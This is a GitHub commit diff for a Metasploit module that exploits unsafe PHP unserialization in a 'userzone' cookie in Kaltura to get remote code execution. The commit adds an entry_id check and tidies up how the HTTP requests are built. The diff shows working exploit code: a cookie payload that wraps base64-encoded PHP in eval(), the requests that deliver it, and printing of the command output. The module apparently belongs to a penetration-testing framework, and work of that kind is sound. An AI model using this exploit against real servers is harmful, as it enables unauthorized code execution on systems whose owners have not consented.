Skip to content

Commit 0ac7e09

Browse files
committed
Add entry_id verification; clean up http request calls
1 parent 30a86a1 commit 0ac7e09

File tree

1 file changed

+29
-4
lines changed

1 file changed

+29
-4
lines changed

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,11 @@ def check
7474

7575
res = send_request_cgi(
7676
'method' => 'GET',
77-
'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
77+
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
78+
'vars_get' => {
79+
'list_type' => '15',
80+
'entry_id' => entry_id
81+
},
7882
'headers' => {
7983
'Cookie' => "userzone=#{encoded}#{hash}"
8084
}
@@ -85,12 +89,29 @@ def check
8589
Exploit::CheckCode::Safe
8690
elsif res && res.body.include?(r)
8791
Exploit::CheckCode::Vulnerable
92+
elsif not self.check_entryid()
93+
print_error("Invalid ENTRYID")
94+
Exploit::CheckCode::Safe
8895
else
89-
print_warning("Did you use a valid entry_id?")
9096
Exploit::CheckCode::Safe
9197
end
9298
end
9399

100+
def check_entryid
101+
entry_id = datastore['ENTRYID']
102+
res = send_request_cgi(
103+
'method' => 'GET',
104+
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
105+
'vars_get' => {
106+
'list_type' => '15',
107+
'entry_id' => entry_id
108+
}
109+
)
110+
111+
return res.body.include? entry_id
112+
113+
end
114+
94115
def exploit
95116
entry_id = datastore['ENTRYID']
96117
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
@@ -109,7 +130,11 @@ def exploit
109130

110131
res = send_request_cgi(
111132
'method' => 'GET',
112-
'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),
133+
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
134+
'vars_get' => {
135+
'list_type' => '15',
136+
'entry_id' => entry_id
137+
},
113138
'headers' => {
114139
'Cookie' => "userzone=#{encoded}#{hash}"
115140
}
@@ -118,7 +143,7 @@ def exploit
118143
if res and res.redirect?
119144
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
120145
elsif res and res.code != 200
121-
print_error("Unexpected response...")
146+
print_error('Unexpected response...')
122147
else
123148
print_status("Output: #{res.body}")
124149
end

0 commit comments

Comments
 (0)